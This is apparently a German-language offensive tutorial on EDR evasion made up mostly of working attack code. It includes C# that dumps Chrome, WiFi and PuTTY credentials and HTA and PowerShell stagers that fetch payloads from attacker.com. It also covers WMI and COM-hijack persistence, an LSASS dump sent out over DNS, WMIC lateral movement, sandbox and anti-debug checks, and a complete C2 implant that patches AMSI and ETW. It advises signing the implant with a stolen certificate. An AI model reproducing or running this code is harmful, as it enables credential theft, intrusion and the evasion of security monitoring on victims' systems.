// C# Code für DPAPI-Credential-Extraction
using System;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using Microsoft.Win32;
public class DPAPICredDump {
[DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool CryptUnprotectData(
ref DATA_BLOB pDataIn,
string szDataDescr,
ref DATA_BLOB pOptionalEntropy,
IntPtr pvReserved,
IntPtr pPromptStruct,
int dwFlags,
ref DATA_BLOB pDataOut
);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct DATA_BLOB {
public int cbData;
public IntPtr pbData;
}
// Chrome Credential Extraction
public static void DumpChromeCredentials() {
string chromePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
+ @"\Google\Chrome\User Data\Default\Login Data";
// Copy DB (locked während Chrome läuft)
string tempDb = Path.GetTempFileName();
File.Copy(chromePath, tempDb, true);
// SQLite Query (nutze System.Data.SQLite)
using (var connection = new System.Data.SQLite.SQLiteConnection($"Data Source={tempDb}")) {
connection.Open();
var command = new System.Data.SQLite.SQLiteCommand(
"SELECT origin_url, username_value, password_value FROM logins",
connection
);
using (var reader = command.ExecuteReader()) {
while (reader.Read()) {
string url = reader.GetString(0);
string username = reader.GetString(1);
byte[] encryptedPassword = (byte[])reader.GetValue(2);
// Decrypt mit DPAPI
string password = DecryptDPAPI(encryptedPassword);
Console.WriteLine($"URL: {url}");
Console.WriteLine($"Username: {username}");
Console.WriteLine($"Password: {password}\n");
}
}
}
File.Delete(tempDb);
}
public static string DecryptDPAPI(byte[] encryptedData) {
DATA_BLOB dataIn = new DATA_BLOB();
DATA_BLOB dataOut = new DATA_BLOB();
DATA_BLOB entropy = new DATA_BLOB();
try {
// Prepare input
dataIn.cbData = encryptedData.Length;
dataIn.pbData = Marshal.AllocHGlobal(encryptedData.Length);
Marshal.Copy(encryptedData, 0, dataIn.pbData, encryptedData.Length);
// Decrypt
bool success = CryptUnprotectData(
ref dataIn,
null,
ref entropy,
IntPtr.Zero,
IntPtr.Zero,
0,
ref dataOut
);
if (success) {
byte[] decryptedData = new byte[dataOut.cbData];
Marshal.Copy(dataOut.pbData, decryptedData, 0, dataOut.cbData);
return Encoding.UTF8.GetString(decryptedData);
}
}
finally {
if (dataIn.pbData != IntPtr.Zero)
Marshal.FreeHGlobal(dataIn.pbData);
if (dataOut.pbData != IntPtr.Zero)
Marshal.FreeHGlobal(dataOut.pbData);
}
return null;
}
// WiFi Credential Extraction
public static void DumpWiFiPasswords() {
Process netsh = new Process();
netsh.StartInfo.FileName = "netsh";
netsh.StartInfo.Arguments = "wlan show profiles";
netsh.StartInfo.UseShellExecute = false;
netsh.StartInfo.RedirectStandardOutput = true;
netsh.StartInfo.CreateNoWindow = true;
netsh.Start();
string output = netsh.StandardOutput.ReadToEnd();
netsh.WaitForExit();
// Parse Profile Names
foreach (string line in output.Split('\n')) {
if (line.Contains("All User Profile")) {
string profileName = line.Split(':')[1].Trim();
// Get Password
Process netshKey = new Process();
netshKey.StartInfo.FileName = "netsh";
netshKey.StartInfo.Arguments = $"wlan show profile \"{profileName}\" key=clear";
netshKey.StartInfo.UseShellExecute = false;
netshKey.StartInfo.RedirectStandardOutput = true;
netshKey.StartInfo.CreateNoWindow = true;
netshKey.Start();
string keyOutput = netshKey.StandardOutput.ReadToEnd();
netshKey.WaitForExit();
foreach (string keyLine in keyOutput.Split('\n')) {
if (keyLine.Contains("Key Content")) {
string password = keyLine.Split(':')[1].Trim();
Console.WriteLine($"SSID: {profileName}");
Console.WriteLine($"Password: {password}\n");
}
}
}
}
}
}
Alternative – Registry-basierte Credentials:
// Putty Sessions aus Registry
public static void DumpPuttySessions() {
RegistryKey puttyKey = Registry.CurrentUser.OpenSubKey(
@"Software\SimonTatham\PuTTY\Sessions"
);
if (puttyKey != null) {
foreach (string session in puttyKey.GetSubKeyNames()) {
RegistryKey sessionKey = puttyKey.OpenSubKey(session);
string hostname = sessionKey.GetValue("HostName")?.ToString();
string username = sessionKey.GetValue("UserName")?.ToString();
string proxyPassword = sessionKey.GetValue("ProxyPassword")?.ToString();
if (!string.IsNullOrEmpty(hostname)) {
Console.WriteLine($"Session: {session}");
Console.WriteLine($"Host: {hostname}");
Console.WriteLine($"User: {username}");
if (!string.IsNullOrEmpty(proxyPassword))
Console.WriteLine($"Proxy Password: {proxyPassword}");
Console.WriteLine();
}
}
}
}
Vorteile:
- Kein LSASS-Zugriff nötig
- Nutzt normale User-Permissions
- Credentials sind oft gleich wie Domain-Credentials
- Viel weniger EDR-Trigger
11. Living Off The Land (LOLBins) – Advanced Chains
Konzept: Nur Microsoft-signierte Binaries nutzen. Keine eigenen Tools hochladen.
Praktische Attack-Chain:
Phase 1: Initial Access über mshta.exe
# Auf Attacker-Server: payload.hta
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
' Download Stage 2
objShell.Run "certutil.exe -urlcache -split -f http://attacker.com/stage2.txt C:\Users\Public\s2.txt", 0, True
' Decode Base64
objShell.Run "certutil.exe -decode C:\Users\Public\s2.txt C:\Users\Public\s2.ps1", 0, True
' Execute PowerShell
objShell.Run "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Users\Public\s2.ps1", 0, False
Close()
</script>
</head>
</html>
# Execution auf Target
mshta.exe http://attacker.com/payload.hta
Phase 2: Persistence über WMI
# stage2.ps1 - Erstellt WMI Event Subscription
$filterName = "SystemPerformanceMonitor"
$consumerName = "SystemPerformanceConsumer"
# Event Filter - Triggert alle 60 Minuten
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
Name = $filterName
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# Command Consumer
$payload = "powershell.exe -NoP -W Hidden -Exec Bypass -C `"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/beacon.ps1')`""
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = $consumerName
CommandLineTemplate = $payload
}
# Binde Filter an Consumer
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}
Phase 3: Credential Dumping mit Comsvcs.dll
# Legitimer Weg LSASS zu dumpen - Microsoft-signierte DLL!
$process = Get-Process lsass
$dumpFile = "C:\Users\Public\debug.bin"
# MiniDumpWriteDump über rundll32
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $process.Id $dumpFile full
# Exfil über DNS
$bytes = [System.IO.File]::ReadAllBytes($dumpFile)
$base64 = [Convert]::ToBase64String($bytes)
# Chunked DNS Exfil (nicht zu groß!)
$chunks = [Math]::Ceiling($base64.Length / 200)
for ($i = 0; $i -lt $chunks; $i++) {
$chunk = $base64.Substring($i * 200, [Math]::Min(200, $base64.Length - $i * 200))
nslookup "$i-$chunk.attacker.com"
Start-Sleep -Milliseconds 500
}
# Cleanup
Remove-Item $dumpFile -Force
Phase 4: Lateral Movement mit WMIC
# Remote Command Execution via WMIC
$target = "TARGET-PC"
$user = "DOMAIN\admin"
$password = "P@ssw0rd"
# Create Process on remote machine
wmic /node:"$target" /user:"$user" /password:"$password" process call create "cmd.exe /c powershell.exe -NoP -W Hidden -Exec Bypass -C `"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/beacon.ps1')`""
# Alternative: Remote Service Creation
sc \\$target create "WindowsUpdateService" binpath= "cmd.exe /c powershell.exe -NoP -W Hidden -File \\attacker.com\share\payload.ps1"
sc \\$target start "WindowsUpdateService"
Warum das funktioniert:
- Alle Tools sind Microsoft-signiert
- Normales Admin-Verhalten
- Viele EDRs whitelisten diese Binaries
- Schwer zu blockieren ohne Business-Impact
12. Sandbox Detection & Evasion – Praktisch
Ziel: Erkenne Analyse-Umgebungen und verhindere Execution dort.
#include <windows.h>
#include <stdio.h>
// Multi-Layer Sandbox Detection
BOOL IsSandbox() {
int score = 0;
// 1. Check CPU Cores (VMs haben oft wenige)
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
if (sysInfo.dwNumberOfProcessors < 2) score += 10;
// 2. Check RAM (VMs haben oft wenig RAM)
MEMORYSTATUSEX memInfo;
memInfo.dwLength = sizeof(MEMORYSTATUSEX);
GlobalMemoryStatusEx(&memInfo);
if (memInfo.ullTotalPhys < (2ULL * 1024 * 1024 * 1024)) score += 10; // < 2GB
// 3. Check Disk Size (Sandboxes haben kleine Disks)
ULARGE_INTEGER freeBytesAvailable, totalBytes, totalFreeBytes;
GetDiskFreeSpaceExA("C:\\", &freeBytesAvailable, &totalBytes, &totalFreeBytes);
if (totalBytes.QuadPart < (60ULL * 1024 * 1024 * 1024)) score += 10; // < 60GB
// 4. Timing Check (Sandboxes beschleunigen Sleep)
DWORD start = GetTickCount();
Sleep(3000);
DWORD end = GetTickCount();
if ((end - start) < 2500) score += 15; // Sleep zu schnell
// 5. Check für bekannte VM-Artifacts
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\VBoxGuest",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
score += 20;
RegCloseKey(hKey);
}
// 6. Check für Debugger
if (IsDebuggerPresent()) score += 20;
// 7. Check für Analysis Tools im Speicher
HMODULE modules[] = {
GetModuleHandleA("SbieDll.dll"), // Sandboxie
GetModuleHandleA("dbghelp.dll"), // Debugging
GetModuleHandleA("api_log.dll"), // API Monitor
};
for (int i = 0; i < 3; i++) {
if (modules[i] != NULL) score += 10;
}
// 8. Check für Mouse Movement (Sandboxes simulieren oft nicht)
POINT p1, p2;
GetCursorPos(&p1);
Sleep(5000);
GetCursorPos(&p2);
if (p1.x == p2.x && p1.y == p2.y) score += 10; // Keine Bewegung
// 9. Check System Uptime (Sandboxes sind oft frisch gebootet)
if (GetTickCount() < 600000) score += 10; // < 10 Minuten uptime
// 10. Check für Recent Files (echte Systeme haben History)
char recentPath[MAX_PATH];
ExpandEnvironmentStringsA("%APPDATA%\\Microsoft\\Windows\\Recent",
recentPath, MAX_PATH);
WIN32_FIND_DATAA findData;
HANDLE hFind = FindFirstFileA(recentPath, &findData);
int fileCount = 0;
if (hFind != INVALID_HANDLE_VALUE) {
do {
fileCount++;
} while (FindNextFileA(hFind, &findData) && fileCount < 10);
FindClose(hFind);
}
if (fileCount < 5) score += 10;
// Score auswerten
return (score > 30); // Threshold für "wahrscheinlich Sandbox"
}
// Anti-Analysis - Verschiedene Techniken
VOID AntiAnalysis() {
// 1. PEB Check für Debugger
PPEB peb = (PPEB)__readgsqword(0x60);
if (peb->BeingDebugged) {
ExitProcess(0);
}
// 2. NtGlobalFlag Check
if (peb->NtGlobalFlag & 0x70) { // FLG_HEAP_* flags
ExitProcess(0);
}
// 3. Hardware Breakpoint Detection
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &ctx);
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) {
ExitProcess(0);
}
// 4. Parent Process Check
// Echte User-Starts kommen von explorer.exe
DWORD parentPid = GetParentProcessId();
char parentName[MAX_PATH];
GetProcessName(parentPid, parentName);
if (strcmp(parentName, "explorer.exe") != 0) {
// Verdächtig - wahrscheinlich Analysis
ExitProcess(0);
}
}
// Evasive Sleep - Verhindert Sleep-Skipping
VOID EvasiveSleep(DWORD milliseconds) {
// Mehrere Sleep-Methoden kombinieren
LARGE_INTEGER start, end, freq;
QueryPerformanceFrequency(&freq);
QueryPerformanceCounter(&start);
DWORD targetTicks = GetTickCount() + milliseconds;
while (GetTickCount() < targetTicks) {
Sleep(100);
// Verify mit high-resolution timer
QueryPerformanceCounter(&end);
double elapsed = (double)(end.QuadPart - start.QuadPart) / freq.QuadPart;
if (elapsed * 1000 < milliseconds * 0.8) {
// Sleep wurde beschleunigt - Sandbox!
ExitProcess(0);
}
}
}
Verwendung im Payload:
int main() {
// Sandbox Detection
if (IsSandbox()) {
// Benign Behavior zeigen
MessageBoxA(NULL, "Hello World", "Test", MB_OK);
return 0;
}
// Anti-Analysis Checks
AntiAnalysis();
// Evasive Sleep - warte bis Analyst aufgibt
EvasiveSleep(15 * 60 * 1000); // 15 Minuten
// Jetzt erst den echten Payload ausführen
ExecuteMaliciousPayload();
return 0;
}
13. Persistence – Advanced & Stealthy
Ziel: Auf System bleiben nach Reboot, ohne Detection.
COM Hijacking – Die eleganteste Methode:
# Finde hijackbare CLSIDs
$CLSIDs = Get-ChildItem "HKCU:\Software\Classes\CLSID" -ErrorAction SilentlyContinue
foreach ($CLSID in $CLSIDs) {
$inproc = Get-ItemProperty -Path "$($CLSID.PSPath)\InprocServer32" -ErrorAction SilentlyContinue
# Suche nach CLSIDs die auf System32 DLLs zeigen
if ($inproc -and $inproc.'(default)' -like "*system32*") {
Write-Host "Hijackable: $($CLSID.PSChildName) -> $($inproc.'(default)')"
}
}
# Hijack einen CLSID
$targetCLSID = "{BCDE0395-E52F-467C-8E3D-C4579291692E}" # Beispiel: MMDeviceEnumerator
# Backup original path
$originalPath = (Get-ItemProperty "HKCU:\Software\Classes\CLSID\$targetCLSID\InprocServer32").'(default)'
# Erstelle malicious DLL
$dllPath = "C:\Users\Public\Libraries\audio.dll"
# Compile DLL mit DllMain als Payload
# DLL muss original exports re-implementieren!
# Hijack
New-Item "HKCU:\Software\Classes\CLSID\$targetCLSID" -Force
New-Item "HKCU:\Software\Classes\CLSID\$targetCLSID\InprocServer32" -Force
Set-ItemProperty "HKCU:\Software\Classes\CLSID\$targetCLSID\InprocServer32" -Name "(default)" -Value $dllPath
# DLL wird geladen wenn irgendeine App diesen COM-Object nutzt
DLL Implementation (C++):
// malicious_com.cpp
#include <windows.h>
// Forward original DLL exports
#pragma comment(linker, "/export:DllGetClassObject=original_audio.DllGetClassObject,@1")
#pragma comment(linker, "/export:DllCanUnloadNow=original_audio.DllCanUnloadNow,@2")
// Payload
DWORD WINAPI PayloadThread(LPVOID param) {
// AMSI/ETW Bypass
PatchAmsi();
PatchEtw();
// Beacon zu C2
BeaconInit();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
// Asynchron ausführen
CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL);
}
return TRUE;
}
14. Complete Evasive Implant – Alles zusammen
// advanced_implant.c - Production-Ready Evasive Payload
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
// Configuration
#define C2_SERVER "legitimate-cdn.com"
#define C2_PORT 443
#define BEACON_INTERVAL 600 // 10 Minuten
#define JITTER_PERCENT 30
// Global State
typedef struct {
BYTE aes_key[32];
CHAR beacon_id[37];
BOOL is_elevated;
} IMPLANT_STATE;
IMPLANT_STATE g_state;
// === EVASION LAYER ===
VOID PatchAMSI() {
HMODULE amsi = LoadLibraryA("amsi.dll");
if (!amsi) return;
FARPROC pAmsiScanBuffer = GetProcAddress(amsi, "AmsiScanBuffer");
if (!pAmsiScanBuffer) return;
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 10, PAGE_EXECUTE_READWRITE, &oldProtect);
// mov eax, E_INVALIDARG; ret
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
memcpy(pAmsiScanBuffer, patch, sizeof(patch));
VirtualProtect(pAmsiScanBuffer, 10, oldProtect, &oldProtect);
}
VOID PatchETW() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
FARPROC pEtwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
DWORD oldProtect;
VirtualProtect(pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)pEtwEventWrite = 0xC3; // ret
VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect);
}
BOOL DetectSandbox() {
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) return TRUE;
MEMORYSTATUSEX mem;
mem.dwLength = sizeof(mem);
GlobalMemoryStatusEx(&mem);
if (mem.ullTotalPhys < 2ULL * 1024 * 1024 * 1024) return TRUE;
if (GetTickCount() < 300000) return TRUE;
return FALSE;
}
VOID EvasiveSleep(DWORD ms) {
DWORD jitter = (ms * JITTER_PERCENT) / 100;
DWORD actual = ms + (rand() % (2 * jitter)) - jitter;
DWORD target = GetTickCount() + actual;
while (GetTickCount() < target) {
Sleep(100);
}
}
// === CRYPTO LAYER ===
VOID XORCrypt(BYTE* data, SIZE_T len, BYTE* key, SIZE_T keyLen) {
for (SIZE_T i = 0; i < len; i++) {
data[i] ^= key[i % keyLen];
}
}
// === COMMUNICATION LAYER ===
BOOL SendBeacon(PVOID data, DWORD dataLen) {
HINTERNET hInternet = InternetOpenA(
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
INTERNET_OPEN_TYPE_DIRECT,
NULL, NULL, 0
);
if (!hInternet) return FALSE;
HINTERNET hConnect = InternetConnectA(
hInternet,
C2_SERVER,
C2_PORT,
NULL, NULL,
INTERNET_SERVICE_HTTP,
0, 0
);
if (!hConnect) {
InternetCloseHandle(hInternet);
return FALSE;
}
HINTERNET hRequest = HttpOpenRequestA(
hConnect,
"POST",
"/api/v1/data",
NULL, NULL, NULL,
INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE,
0
);
// Encrypt data
BYTE* encrypted = (BYTE*)malloc(dataLen);
memcpy(encrypted, data, dataLen);
XORCrypt(encrypted, dataLen, g_state.aes_key, 32);
// Send
BOOL result = HttpSendRequestA(hRequest, NULL, 0, encrypted, dataLen);
free(encrypted);
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return result;
}
// === PAYLOAD EXECUTION ===
VOID ExecuteCommand(CHAR* command) {
// Create hidden process
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
CreateProcessA(
NULL,
command,
NULL, NULL, FALSE,
CREATE_NO_WINDOW,
NULL, NULL,
&si, &pi
);
WaitForSingleObject(pi.hProcess, 30000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
// === MAIN IMPLANT LOGIC ===
DWORD WINAPI ImplantThread(LPVOID param) {
// Initialize
srand((unsigned int)time(NULL));
// Generate Beacon ID
CoCreateGuid((GUID*)g_state.beacon_id);
// Generate session key
for (int i = 0; i < 32; i++) {
g_state.aes_key[i] = rand() % 256;
}
// Check privileges
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
TOKEN_ELEVATION elevation;
DWORD size;
GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &size);
g_state.is_elevated = elevation.TokenIsElevated;
CloseHandle(hToken);
// Main loop
while (TRUE) {
// Collect system info
CHAR hostname[256];
DWORD hostnameLen = 256;
GetComputerNameA(hostname, &hostnameLen);
CHAR username[256];
DWORD usernameLen = 256;
GetUserNameA(username, &usernameLen);
// Build beacon packet
CHAR beacon[1024];
sprintf_s(beacon, sizeof(beacon),
"{\"id\":\"%s\",\"host\":\"%s\",\"user\":\"%s\",\"elevated\":%d}",
g_state.beacon_id, hostname, username, g_state.is_elevated
);
// Send beacon
SendBeacon(beacon, strlen(beacon));
// Wait with jitter
EvasiveSleep(BEACON_INTERVAL * 1000);
}
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
// Evasion checks
if (DetectSandbox()) {
return TRUE; // Benign exit
}
// Patch security hooks
PatchAMSI();
PatchETW();
// Start implant thread
CreateThread(NULL, 0, ImplantThread, NULL, 0, NULL);
}
return TRUE;
}
Kompilierung mit Evasion:
# Mit MinGW - stripped & obfuscated
x86_64-w64-mingw32-gcc advanced_implant.c -o implant.dll \
-shared \
-s \ # Strip symbols
-O3 \ # Optimize
-fno-ident \ # Remove compiler info
-fno-asynchronous-unwind-tables \ # Remove debug info
-Wl,--no-seh \ # Remove exception handling
-mwindows
# Signieren mit gestohlener Cert (für Bonus-Evasion)
osslsigncode sign -certs stolen.crt -key stolen.key \
-n "Microsoft Corporation" \
-i "https://www.microsoft.com" \
-in implant.dll -out implant_signed.dll
Das sind die core practical Techniken für advanced Evasion. Der Schlüssel ist: Kombiniere mehrere Layers, teste gegen echte EDR-Lösungen, und entwickle custom Tools statt public Frameworks zu nutzen.
Next Steps für dich:
- Setup ein Lab mit EDR (Windows Defender, Carbon Black, CrowdStrike Trial)
- Implementiere diese Techniken einzeln
- Teste gegen EDR und iteriere
- Baue eigenes Framework mit diesen Bausteinen
- Bleib up-to-date mit neuen EDR-Features
